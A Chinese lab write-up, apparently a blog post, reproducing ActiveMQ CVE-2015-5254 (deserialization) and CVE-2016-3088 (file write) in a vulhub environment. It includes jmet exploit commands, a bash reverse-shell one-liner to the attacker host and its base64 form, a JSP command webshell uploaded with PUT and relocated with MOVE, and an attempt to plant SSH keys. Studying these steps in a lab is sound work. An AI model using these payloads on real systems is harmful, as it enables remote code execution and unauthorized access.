vulhub靶场漏洞复现——ActiveMQ

AvtiveMQ简介

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
ActiveMQ详解文章链接——消息中间件ActiveMQ链接

ActiveMQ有两个端口:

web管理端口工作(消息传递)端口
816161616

CVE-2015-5254反序列化漏洞

漏洞原理:
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码
影响版本: Apache ActiveMQ 5.x —— 5.13.0
漏洞复现:

进入靶场目录
cd ./CVE-2015-5254
启动环境
docker-compose up -d
查看启动环境
docker-compose ps

在这里插入图片描述
访问8161端口
我的vulhub搭在了kali里面,这里用物理机直接访问kali地址:端口号
靶机地址:192.168.102.8
攻击机kali地址:192.168.102.130
在这里插入图片描述
在这里插入图片描述
点击进入管理页面登陆,默认用户名/密码:admin/admin
换了个浏览器…因为之前那个自动登陆了
在这里插入图片描述
在这里插入图片描述使用jmet工具构造可执行命令的序列化对象

下载链接 https://github.com/matthiaskaiser/jmet/

1、发送消息 创建文件夹 /tmp/success
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/success” -Yp ROME 192.168.102.8 61616
在这里插入图片描述可以看到消息成功发送到了中间件,漏洞可以利用
在这里插入图片描述反弹shell

bash -i >& /dev/tcp/192.168.102.130/45678 0>&1

进行base64编码:

YmFzaCAtaSA+JiAgIC9kZXYvdGNwLzE5Mi4xNjguMTAyLjEzMC80NTY3OCAwPiYx

jmet执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaSA+JiAgIC9kZXYvdGNwLzE5Mi4xNjguMTAyLjEzMC80NTY3OCAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.102.8 61616

在这里插入图片描述可以看到web管理页面event 数量变成2
在这里插入图片描述
攻击机监听45678端口
在这里插入图片描述

点击消息触发命令执行
在这里插入图片描述在这里插入图片描述
可以看到成功反弹

CVE-2016-3088任意文件写入漏洞

漏洞原理:
该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

影响版本: Apache ActiveMQ 5.x —— 5.14.0
漏洞复现:
切换到漏洞目录:
在这里插入图片描述

启动靶场环境,并查看

docker-compose up -d
docker-compose ps

在这里插入图片描述
可以正常访问
在这里插入图片描述利用方式一:
通过PUT方法上传cmd小马,利用MOVE方法移动到可执行目录下,调用马,可以执行任意命令

访问一下,抓个包
在这里插入图片描述

PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

<%@ page import="java.io.*"%>
<%
 out.print("Success!</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

在这里插入图片描述返回,写入成功

用MOVE方法移动到可执行目录下(api或者admin都行)

MOVE /fileserver/test.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/admin/test.jsp

在这里插入图片描述
返回204,成功移动

访问一下,成功执行命令whoami
在这里插入图片描述
利用方式二:
写入ssh公钥,实现ssh免密登陆
1、生成密钥对

ssh-keygen -t rsa

在这里插入图片描述在.ssh目录下查看公钥

cat d_rsa.pub

在这里插入图片描述
PUT上传公钥
在这里插入图片描述
MOVE移动到/root/.ssh/并重命名为authorized_keysd

MOVE /fileserver/id_rsa.pub HTTP/1.1
Destionation:file:///root/.ssh/authorized_keys

这里遇到了一个问题,怎么也移动不了,返回500错误
进入容器查看,公钥写入成功
在这里插入图片描述好了,下面开始步步维艰了
查资料是,docker容器要安装sshd服务环境

apt-get install openssh-server

报错,
在这里插入图片描述
用了apt-get update和apt-get upgrade都不行
倒腾大半天,后续再看吧,心累

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值